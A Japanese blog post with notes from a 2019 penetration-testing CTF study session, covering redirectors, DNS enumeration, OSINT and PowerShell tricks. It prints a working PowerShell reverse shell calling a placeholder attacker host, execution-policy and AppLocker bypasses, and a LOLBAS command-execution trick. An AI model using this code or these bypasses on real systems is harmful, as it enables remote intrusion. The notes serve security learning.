浪速セキュリティ2019 参加記録

Table of Contents

2019/12/29(日)に開催された浪速セキュリティ勉強会#04 #05:ペンテストCTFで学ぶサイバーセキュリティ(12月29日)に参加した際の参加記録。

基礎知識

  • 今回は実際に攻撃するまでの偵察がメイン
  • nc -lvnp 80でlisten

redirector

  • targetとattackerの間に配置して, targetと直接通信するサーバ
  • これ自身を調べても本体はいない
  • 自分たちの安全を保証するために挟むのが一般的
  • ペンテストやレッドチームもこういったところまでやる必要がある
  • 目的
    • 自分たちをtargetから隠す
    • redirectorをtakedownされても別のredirectorを立てればよい

DNSの調査

domain fronting

  • HTTPS接続のドメインを難読化(解析困難化)することによってインターネットの検閲やブロッキングを回避する手法
  • 例えば、CDNのサーバーにリフレクションサーバーを紛れ込ます手法などかある
  • 最近はreputationで判断しているので, false positiveがある

DNSの調査(DNS Enumeration)

  • targetのname serverの探索

  • zonetransfer.meは脆弱なやられサーバ的な感じ

  • nsレコードをもらってくる

    • host -t ns {targetip}
~# host -t ns zonetransfer.me
zonetransfer.me name server nsztm1.digi.ninja.
zonetransfer.me name server nsztm2.digi.ninja.
  • mxレコードをもらってくる
    • host -t mx {targetip}
# host -t mx zonetransfer.me
zonetransfer.me mail is handled by 0 ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 10 ALT2.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX4.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 10 ALT1.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX5.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX3.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX2.GOOGLEMAIL.COM.
  • 相手はメールをgmailの管理サーバを使っていることがわかる
  • -> 標的型攻撃をする場合, googleの持っている機能はscanされてしまうこともわかる
  • -> malwareを作って添付しても, そもそも相手に着弾しない可能性がある
  • -> 着弾するかしないかは, 自分でgoogleのメールサーバを使って確認することができる
  • これは他のメールサービスでも同様

DNS Lookup

  • 存在しそうなホスト名にDNSパケットを飛ばして確認する手法
for name in $(cat /usr/share/dnsenum/dns.txt); do
host ${name}. zonetransfer.me | grep "has address" | cut -d " " -f 1,4
done

Reverse DNS Lookup

  • 1つ存在しているホスト名を見つけ, 存在しているホスト名の近くを使っていると想定して上でBruteForceを試す手法
  • 192.168.33.{brute force}

DNS Zone Transfer

  • ゾーン転送情報取得を用いて確認する手法
  • dig axfr @… addr

内部のサーバのレコードを見る

RedirectorとRedirectの違い

  • redirectorは直接通信する
  • redirectは挟んで通信するので遮断される可能性がある

OSINT

Google Search Operator

Twitter Search Operators

ReverseShell

PowerShell

Set-ExecutionPolicy bypass`
start-process calc.exe
powershell.exe -executionpolicy bypass gen_calc.ps1
  • ReverseShell用のCSharpCode
$client = New-Object System.Net.Sockets.TCPClient("attackerAddress",443);
$stream =$client.GetStream();
[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback =(iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  $sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
};

$client.Close()

PowerShell without powershell.exe

  • SyncAppvは仮想化モジュールの一部
  • powershellのコマンドを受け付ける
    • C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; start-process calc.exe"
    • これでcalc.exeが立ち上がる
  • lolbas(Living Off The Land Binaries and Scripts)

Restricting PowerShell

  • applocker
    • ブラックリスト管理をするのが良い
    • 最初に全て許可してからダメなものをブラックリストに入れる
  • apploockerのbypass
    • powershellを動かせる
    • 対策として, InstallUtil.exeをapplockerに入れる
      • その際に, 過去の実行ログをみて, 使われていない場合は良いかもしれない
      • だいたい使われているので, それらを使っているcallerをホワイトリスト管理するとよい
Posted on Dec 29, 2019